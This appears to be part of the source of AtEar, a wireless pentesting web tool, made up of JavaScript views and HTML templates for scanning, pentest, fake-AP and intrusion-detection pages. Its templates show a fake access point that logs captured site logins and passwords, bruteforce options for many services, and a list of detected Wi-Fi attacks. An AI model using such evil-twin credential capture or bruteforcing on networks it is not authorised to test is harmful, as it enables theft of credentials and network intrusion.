wids_length = wids_labels.length; 35 | this.widsData={}; 36 | this.DataSet = []; 37 | for(var i=0; i< wids_length; i++){ 38 | var name = wids_labels[i]; 39 | this.DataSet[i] = this.model.where({attack: name}).length 40 | } 41 | 42 | var d = [{ 43 | label: "Attack Type Dataset", 44 | fillColor: "rgba(220,220,220,0.5)", 45 | strokeColor: "rgba(220,220,220,0.8)", 46 | highlightFill: "rgba(220,220,220,0.75)", 47 | highlightStroke: "rgba(220,220,220,1)", 48 | data: this.DataSet 49 | }]; 50 | 51 | this.widsData = { 52 | labels: wids_labels, 53 | datasets: d 54 | }; 55 | 56 | return this; 57 | }, 58 | 59 | chartInit: function(){ 60 | Chart.defaults.global.responsive = true; 61 | this.ctx_wids = this.$el.find('.widschart').get(0).getContext('2d'); 62 | 63 | this.widsChart = new Chart(this.ctx_wids).Bar(this.widsData,{}); 64 | 65 | 66 | return this; 67 | } 68 | }); 69 | 70 | return WidsChartView; 71 | 72 | }); -------------------------------------------------------------------------------- /static/js/views/wids-statistic.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/Chart.min'], 3 | 4 | function($, _, Backbone, $, tpl,Chart) { 5 | var WidsStatisticView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | className: 'ui raised segments', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('wids-statistic')); 13 | }, 14 | 15 | render: function(){ 16 | this.$el.html(this.template()); 17 | 18 | return this; 19 | }, 20 | 21 | dataSet: function(){ 22 | this.wids_labels = ['Dissassocation Flood', 23 | 'Deauth Flood', 24 | 'Wessid-NG Attack', 25 | 'Korek ChopChop Attack', 26 | 'Fragmentation PRGA Attack', 27 | 'MDK Micheal shutdown Exploitation (TKIP)', 28 | 'Attack by TKIPTUN-NG', 29 | 'Authentication DOS', 30 | 'Association Flood', 31 | 'High amount of association sent', 32 | 'Suspect Rouge AP', 33 | 'Detected Beacon Flood']; 34 | this.color_names = ['red','orange','yellow','olive','green','teal','blue','violet','purple','pink','brown','grey']; 35 | this.wids_length = this.wids_labels.length; 36 | this.DataSet = []; 37 | for(var i=0; i< this.wids_length; i++){ 38 | var name = this.wids_labels[i]; 39 | this.DataSet[i] = this.model.where({attack: name}).length 40 | } 41 | return this; 42 | }, 43 | 44 | afterRender: function(){ 45 | this.dataSet(); 46 | 47 | var Statistic = Backbone.Model.extend({}); 48 | for(var i=0; i<%= connected %> 2 | <%= host_name %> 3 | <%= mac_addr %> 4 | <%= Time %> -------------------------------------------------------------------------------- /templates/fakeap-connstation.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Connected 4 | Host Name 5 | MAC 6 | Time 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /templates/fakeap-loginstation-list.html: -------------------------------------------------------------------------------- 1 | <%= ip_addr %> 2 | <%= site %> 3 | <%= mac_addr %> 4 | <%= id %> 5 | <%= pw %> 6 | <%= Time %> -------------------------------------------------------------------------------- /templates/fakeap-loginstation.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | IP 4 | Site 5 | MAC 6 | ID 7 | Password 8 | Time 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /templates/fakeap.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 |
6 | 7 | 8 |
9 |
10 | 11 | 17 |
18 |
19 | 20 | 21 |
22 |
23 | 24 | Pause 25 | 26 |
27 |
28 | 29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |

Connected Station

37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |

Login Station

46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
-------------------------------------------------------------------------------- /templates/header.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 | Wireless Scan 5 | Pentest 6 | Fake AP 7 | WIDS 8 |
9 | 10 | 11 |
-------------------------------------------------------------------------------- /templates/hidden-message.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | <%= attack %> 5 |
6 |
    7 |
  • <%= FrMAC %>
  • 8 |
  • <%= Time %>
  • 9 |
-------------------------------------------------------------------------------- /templates/hidden.html: -------------------------------------------------------------------------------- 1 |
2 |
-------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | AtEar 11 | 12 | 13 | 14 | 15 | 16 | 17 | 19 |
20 |
21 |
22 |
23 | 24 | 25 | -------------------------------------------------------------------------------- /templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | AtEar 11 | 12 | 13 | 14 | 15 | 16 | 30 | 54 | 55 | 56 | 57 | 58 |
59 |
60 | 61 |
62 |
63 |
64 |
65 | 66 | 67 |
68 |
69 |
70 |
71 | 72 | 73 |
74 |
75 |
Login
76 |
77 |
78 | {% if error %} 79 |
80 | 81 |
82 |
LOGIN ERROR
83 |

{{ error }}

84 |
85 |
86 | {% endif %} 87 |
88 |
89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /templates/main.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | AtEar 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 64 | 82 | 83 | 84 | 85 | 86 |
87 |
88 |
89 | 90 | >  91 |
92 | 93 | Go 94 | 95 | 96 |
97 |
98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /templates/pentest-option.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Information Get

4 |
5 |
6 | 7 | 8 |
9 |
10 |
11 |
12 | 13 | 14 |
15 |
16 |

Keycracking Option

17 |
18 |
19 |
20 | 21 | 22 |
23 |
24 |
25 |
26 | 27 | 28 |
29 |
30 |
31 |
32 |

Bruteforce Options

33 |
34 |
35 |
36 | 37 | 38 |
39 |
40 |
41 |
42 | 43 | 44 |
45 |
46 |
47 |
48 | 49 | 50 |
51 |
52 |
53 |
54 | 55 | 56 |
57 |
58 |
59 |
60 |
61 | 62 | 63 |
64 |
65 | 66 |
67 |
68 |
69 |
70 |

Dictionary Options

71 |
72 |
73 |
74 | 75 | 76 |
77 |
78 |
79 |
80 |

Pentesting Time

81 |
82 | 83 | 84 |
85 |
86 |
87 | 88 | -------------------------------------------------------------------------------- /templates/pentest-result-list.html: -------------------------------------------------------------------------------- 1 | <%= essid %> 2 | <%= bssid %> 3 | <%= inject_T %> 4 | <%= fake_auth_T %> 5 | <%= arp_req_T %> 6 | <%= key %> 7 | <%= public_ip %> 8 | <%= conn_host_info %> -------------------------------------------------------------------------------- /templates/pentest-result.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
essidbssidInjectFake AuthARP reqKeyPublic IPConneted Host Information
-------------------------------------------------------------------------------- /templates/pentest-scantable-empty.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 |
5 | There are no scanned AP datas 6 |
7 |

Back to wireless-scan for scanning and saving datas to localstorage

8 |
9 |
10 | -------------------------------------------------------------------------------- /templates/pentest-scantable-list.html: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 |
6 | 7 | <%= type %> 8 | <%= company %> 9 | <%= essid %> 10 | <%= bssid %> 11 | <%= ch %> 12 | <%= power %> 13 | <%= enc %> 14 | <%= Time %> 15 | -------------------------------------------------------------------------------- /templates/pentest-scantable.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
TypeCompanySSIDMACChannelS/NEncryptionLastSeen
-------------------------------------------------------------------------------- /templates/pentest-typetable.html: -------------------------------------------------------------------------------- 1 |
2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 18 | 19 | 20 | 21 | 27 | 28 | 29 | 30 |
Information Get
13 |
14 | 15 | 16 |
17 |
Public IP information
22 |
23 | 24 | 25 |
26 |
Connected Host information
31 |
32 |
33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 50 | 51 | 52 | 53 | 59 | 60 | 66 | 67 | 68 | 69 | 75 | 76 | 81 | 82 | 83 | 84 | 85 | 90 | 91 | 92 | 97 | 98 | 99 | 100 | 101 | 106 | 107 | 108 | 113 | 114 | 115 | 116 | 117 | 122 | 123 | 124 | 129 | 130 | 131 | 132 | 133 | 138 | 139 | 140 | 145 | 146 | 147 | 148 | 149 | 154 | 155 | 156 | 161 | 162 | 163 | 164 | 165 |
Pentest
45 |
46 | 47 | 48 |
49 |
Key Cracking (Key Cracking is always needed)
54 |
55 | 56 | 57 |
58 |
FTP Login 61 |
62 | 63 | 64 |
65 |
SSH Login
70 |
71 | 72 | 73 |
74 |
Telnet Login 77 |
78 | 79 | 80 |
SMTP Login
86 |
87 | 88 | 89 |
POP Login 93 |
94 | 95 | 96 |
IMAP Login
102 |
103 | 104 | 105 |
LDAP login 109 |
110 | 111 | 112 |
SMB Login
118 |
119 | 120 | 121 |
RLOGIN login 125 |
126 | 127 | 128 |
MSSQL Login
134 |
135 | 136 | 137 |
MYSQL Login 141 |
142 | 143 | 144 |
PGSQL Login
150 |
151 | 152 | 153 |
VNC Login 157 |
158 | 159 | 160 |
SNMP Login
166 |
167 |
-------------------------------------------------------------------------------- /templates/pentest.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 |
6 | 7 |
8 |
AP Select
9 |
10 |
11 |
12 | 13 |
14 |
Pentest Options
15 |
16 |
17 |
18 | 19 |
20 |
Result
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
Back to Wireless Scan
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
Next
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
Prev
48 |
Start
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 | 78 |
-------------------------------------------------------------------------------- /templates/project-list-item.html: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
<%= p_name %>
5 |
6 | 7 | <%= p_time %> 8 | 9 |
10 |
11 |

<%= p_desc %>

12 |
13 |
14 |
15 | 16 |
Project Name
17 |
18 | 19 |
20 |
21 |
22 |
Description
23 |
24 | 25 |
26 |
27 |
28 |
g
29 |
30 |
31 | GO 32 |
33 |
34 | SAVE 35 |
-------------------------------------------------------------------------------- /templates/project-list.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 |
6 |
7 |
Add Project
8 |
9 |
10 |
11 | 12 |
13 |
14 |
-------------------------------------------------------------------------------- /templates/status-scanchart.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |

Type

5 |
6 |
7 | 8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |

Encryption

16 |
17 |
18 | 19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |

Channel

27 |
28 |
29 | 30 |
31 |
32 |
33 |
-------------------------------------------------------------------------------- /templates/status-scantable-list.html: -------------------------------------------------------------------------------- 1 | <%= type %> 2 | <%= company %> 3 | <%= essid %> 4 | <%= bssid %> 5 | <%= ch %> 6 | <%= power %> 7 | <%= enc %> 8 | <%= Time %> 9 | -------------------------------------------------------------------------------- /templates/status-scantable.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
TypeCompanySSIDMACChannelS/NEncryptionLastSeen
-------------------------------------------------------------------------------- /templates/status.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 | 6 | 7 | 8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | 29 | 30 | 31 | 44 |
-------------------------------------------------------------------------------- /templates/wids-chart.html: -------------------------------------------------------------------------------- 1 |
2 |

Bar Chart

3 |
4 |
5 | 6 |
7 |
-------------------------------------------------------------------------------- /templates/wids-statistic-list.html: -------------------------------------------------------------------------------- 1 |
2 |
3 | <%= value %> 4 |
5 |
6 | <%= label %> 7 |
8 |
-------------------------------------------------------------------------------- /templates/wids-statistic.html: -------------------------------------------------------------------------------- 1 |
2 |

Wids Statistics

3 |
4 |
5 |
6 |
7 |
-------------------------------------------------------------------------------- /templates/wids-table-list.html: -------------------------------------------------------------------------------- 1 | <%= attack %> 2 | <%= FrMac %> 3 | <%= dst_mac %> 4 | <%= Possible %> 5 | <%= Time %> -------------------------------------------------------------------------------- /templates/wids-table.html: -------------------------------------------------------------------------------- 1 |
2 |

Wids log

3 |
4 |
5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
Attack NameSource MacDst_MacPossibleTime
18 |
-------------------------------------------------------------------------------- /templates/wids.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------